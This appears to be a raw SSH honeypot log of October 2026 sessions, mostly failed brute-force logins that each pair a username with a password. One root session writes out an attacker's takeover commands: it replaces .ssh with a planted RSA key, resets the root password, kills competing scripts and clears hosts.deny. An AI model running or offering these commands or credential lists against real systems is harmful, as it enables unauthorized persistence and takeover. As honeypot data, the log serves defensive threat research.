Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: a-config--02
{
"id": "fd7bad81dd7f",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:58:15.839022Z",
"end_time": "2026-10-07T19:58:18.813262Z",
"duration": "3.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "a-config--02",
"pass": "kaiming1"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: s9ochuko
{
"id": "6fb3793553e6",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:58:10.605078Z",
"end_time": "2026-10-07T19:58:13.529606Z",
"duration": "2.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "s9ochuko",
"pass": "docker123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: k8s
{
"id": "65434017c607",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:58:05.128340Z",
"end_time": "2026-10-07T19:58:07.277055Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "k8s",
"pass": "opsworks"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cs235
{
"id": "419492eff6a7",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:57:59.145113Z",
"end_time": "2026-10-07T19:58:01.534712Z",
"duration": "2.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "cs235",
"pass": "service"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: navidrome
{
"id": "d61b9b716095",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:57:53.493117Z",
"end_time": "2026-10-07T19:57:55.522735Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "navidrome",
"pass": "qwerty1"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: hadoop / tom
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "52d1f32addf2",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:57:47.636007Z",
"end_time": "2026-10-07T19:57:49.836660Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "hadoop",
"pass": "tom"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: backend
{
"id": "d53e0d57e398",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:57:42.279679Z",
"end_time": "2026-10-07T19:57:44.686612Z",
"duration": "2.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "backend",
"pass": "password123456789"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hefang
{
"id": "a5246c3411ae",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:57:36.839236Z",
"end_time": "2026-10-07T19:57:39.452494Z",
"duration": "2.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "hefang",
"pass": "Huawei@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mason
{
"id": "92f4df65b2ed",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:57:31.786983Z",
"end_time": "2026-10-07T19:57:34.363600Z",
"duration": "2.6",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "mason",
"pass": "1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: prakash
{
"id": "cc6acc0b443e",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:57:31.204340Z",
"end_time": "2026-10-07T19:57:33.761586Z",
"duration": "2.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "prakash",
"pass": "abc12"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cs218
{
"id": "adbebf8fd5ee",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:57:25.744457Z",
"end_time": "2026-10-07T19:57:27.846483Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "cs218",
"pass": "hcicloud"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ansible-user
{
"id": "beae748a1b6a",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:57:19.964332Z",
"end_time": "2026-10-07T19:57:22.717157Z",
"duration": "2.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ansible-user",
"pass": "www"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: swoadmin
{
"id": "e085b62fad0b",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:57:14.359777Z",
"end_time": "2026-10-07T19:57:16.966955Z",
"duration": "2.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "swoadmin",
"pass": "swetha@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: s10kareem
{
"id": "f23a87dc4d4b",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:57:08.436505Z",
"end_time": "2026-10-07T19:57:10.950575Z",
"duration": "2.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "s10kareem",
"pass": "admin2"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: matt
{
"id": "5c2eece59de2",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:57:02.656543Z",
"end_time": "2026-10-07T19:57:06.965723Z",
"duration": "4.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "matt",
"pass": "comfyui"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: milad
{
"id": "b90c2ae49e70",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:56:57.182099Z",
"end_time": "2026-10-07T19:57:01.864614Z",
"duration": "4.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "milad",
"pass": "Test.123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: omid
{
"id": "9d539a9edac4",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:56:51.871749Z",
"end_time": "2026-10-07T19:56:56.122433Z",
"duration": "4.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "omid",
"pass": "steam"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin1
{
"id": "4c88d275e11a",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:56:46.417177Z",
"end_time": "2026-10-07T19:56:50.611910Z",
"duration": "4.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "admin1",
"pass": "home"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ss
{
"id": "888c7a21903a",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:56:41.097739Z",
"end_time": "2026-10-07T19:56:44.656054Z",
"duration": "3.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ss",
"pass": "nPSpP4PBW0"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hikemqtt
{
"id": "2b08b2cea67d",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:56:35.411547Z",
"end_time": "2026-10-07T19:56:38.866329Z",
"duration": "3.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "hikemqtt",
"pass": "linux123456789"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: kamgareyman
{
"id": "7f1e465dd321",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:56:29.874613Z",
"end_time": "2026-10-07T19:56:32.263909Z",
"duration": "2.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "kamgareyman",
"pass": "riccardo"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: Patrick
{
"id": "809c425ca817",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:56:23.375500Z",
"end_time": "2026-10-07T19:56:27.303429Z",
"duration": "3.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "Patrick",
"pass": "vastai"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: s8mike
{
"id": "6dee89d8e0b8",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:56:17.592161Z",
"end_time": "2026-10-07T19:56:21.639411Z",
"duration": "4.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "s8mike",
"pass": "arya@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: utsdba
{
"id": "b5986655efa5",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:56:10.054017Z",
"end_time": "2026-10-07T19:56:16.770198Z",
"duration": "6.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "utsdba",
"pass": "Qq112233"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cs619
{
"id": "156f7d8a7a5b",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:56:03.797059Z",
"end_time": "2026-10-07T19:56:12.627233Z",
"duration": "8.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "cs619",
"pass": "Zhangjay5865358"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin3
{
"id": "9095048ffa67",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:55:58.225090Z",
"end_time": "2026-10-07T19:56:08.036740Z",
"duration": "9.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "admin3",
"pass": "weblogic123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hyx
{
"id": "43f537a35a0d",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:55:52.608510Z",
"end_time": "2026-10-07T19:56:01.899914Z",
"duration": "9.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "hyx",
"pass": "student"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hlvps
{
"id": "45b6a7f20a43",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:55:47.067538Z",
"end_time": "2026-10-07T19:55:56.662415Z",
"duration": "9.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "hlvps",
"pass": "deployer"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: deepak
{
"id": "48b28981c3df",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:55:40.883988Z",
"end_time": "2026-10-07T19:55:49.846673Z",
"duration": "9.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "deepak",
"pass": "testuser123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: it
{
"id": "971dc8637447",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:55:35.606932Z",
"end_time": "2026-10-07T19:55:45.247526Z",
"duration": "9.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "it",
"pass": "admin@123!@"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jfedu1
{
"id": "934b818be706",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:55:30.232732Z",
"end_time": "2026-10-07T19:55:38.873607Z",
"duration": "8.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "jfedu1",
"pass": "abc.123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: alexis
{
"id": "c59c9179efa1",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:55:24.268652Z",
"end_time": "2026-10-07T19:55:32.591018Z",
"duration": "8.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "alexis",
"pass": "123456789"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bernardo
{
"id": "d261f4ef3b23",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:55:18.487475Z",
"end_time": "2026-10-07T19:55:26.527204Z",
"duration": "8.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "bernardo",
"pass": "abcd@1234!"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: therwi
{
"id": "a168e3fe9831",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:55:12.708740Z",
"end_time": "2026-10-07T19:55:21.633549Z",
"duration": "8.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "therwi",
"pass": "123654"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ciuser
{
"id": "ee646013550f",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:55:07.222959Z",
"end_time": "2026-10-07T19:55:16.465594Z",
"duration": "9.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ciuser",
"pass": "qian1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hkodali
{
"id": "035fc39672fc",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:55:01.139877Z",
"end_time": "2026-10-07T19:55:09.766242Z",
"duration": "8.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "hkodali",
"pass": "maps"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: keitaro-support
{
"id": "2353633a5c35",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:54:55.249869Z",
"end_time": "2026-10-07T19:55:02.921308Z",
"duration": "7.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "keitaro-support",
"pass": "cowrie"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: f-config-11
{
"id": "b7a8e56ad481",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:54:49.255920Z",
"end_time": "2026-10-07T19:54:54.286682Z",
"duration": "5.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "f-config-11",
"pass": "Pa395384w0rd"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "b120df867d52",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:54:40.715766Z",
"end_time": "2026-10-07T19:56:40.722183Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "5519633e6999",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:54:32.729243Z",
"end_time": "2026-10-07T19:56:32.733409Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Credential acceptance event recorded. Target authentication: root / Abcd1234@@
Remote entity achieved interactive shell state. Command sequence (19 executed):
{
"id": "64e60c19a4b9",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:54:29.703576Z",
"end_time": "2026-10-07T19:54:57.589106Z",
"duration": "27.9",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Abcd1234@@"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"cat /proc/cpuinfo | grep name | wc -l",
"echo \"root:XO1sye5KTWCI\"|chpasswd|bash",
"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
"ls -lh $(which ls)",
"which ls",
"crontab -l",
"w",
"uname -m",
"cat /proc/cpuinfo | grep model | grep name | wc -l",
"top",
"uname",
"uname -a",
"whoami",
"lscpu | grep Model",
"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
},
{
"cmd": "cat /proc/cpuinfo | grep name | wc -l",
"failed": false,
"error": null
},
{
"cmd": "echo \"root:XO1sye5KTWCI\"|chpasswd|bash",
"failed": false,
"error": null
},
{
"cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
"failed": false,
"error": null
},
{
"cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
"failed": false,
"error": null
},
{
"cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
"failed": false,
"error": null
},
{
"cmd": "ls -lh $(which ls)",
"failed": false,
"error": null
},
{
"cmd": "which ls",
"failed": false,
"error": null
},
{
"cmd": "crontab -l",
"failed": false,
"error": null
},
{
"cmd": "w",
"failed": false,
"error": null
},
{
"cmd": "uname -m",
"failed": false,
"error": null
},
{
"cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
"failed": false,
"error": null
},
{
"cmd": "top",
"failed": false,
"error": null
},
{
"cmd": "uname",
"failed": false,
"error": null
},
{
"cmd": "uname -a",
"failed": false,
"error": null
},
{
"cmd": "whoami",
"failed": false,
"error": null
},
{
"cmd": "lscpu | grep Model",
"failed": false,
"error": null
},
{
"cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 340,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "0d97c75b102e",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:54:13.023005Z",
"end_time": "2026-10-07T19:54:21.027595Z",
"duration": "8.0",
"version": "SSH-2.0-Go",
"hassh": "084386fa7ae5039bcf6f07298a05a227",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "a13707dcd3ac",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:51:34.627835Z",
"end_time": "2026-10-07T19:53:34.662034Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "41404b79e3b7",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:48:31.584321Z",
"end_time": "2026-10-07T19:50:31.592531Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "2bf15f8355da",
"src_ip": "13.140.177.137",
"start_time": "2026-10-07T19:47:45.827337Z",
"end_time": "2026-10-07T19:47:45.842171Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: yy
{
"id": "a457b71ff596",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:45:28.101037Z",
"end_time": "2026-10-07T19:45:30.944294Z",
"duration": "2.8",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "yy",
"pass": "yy"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
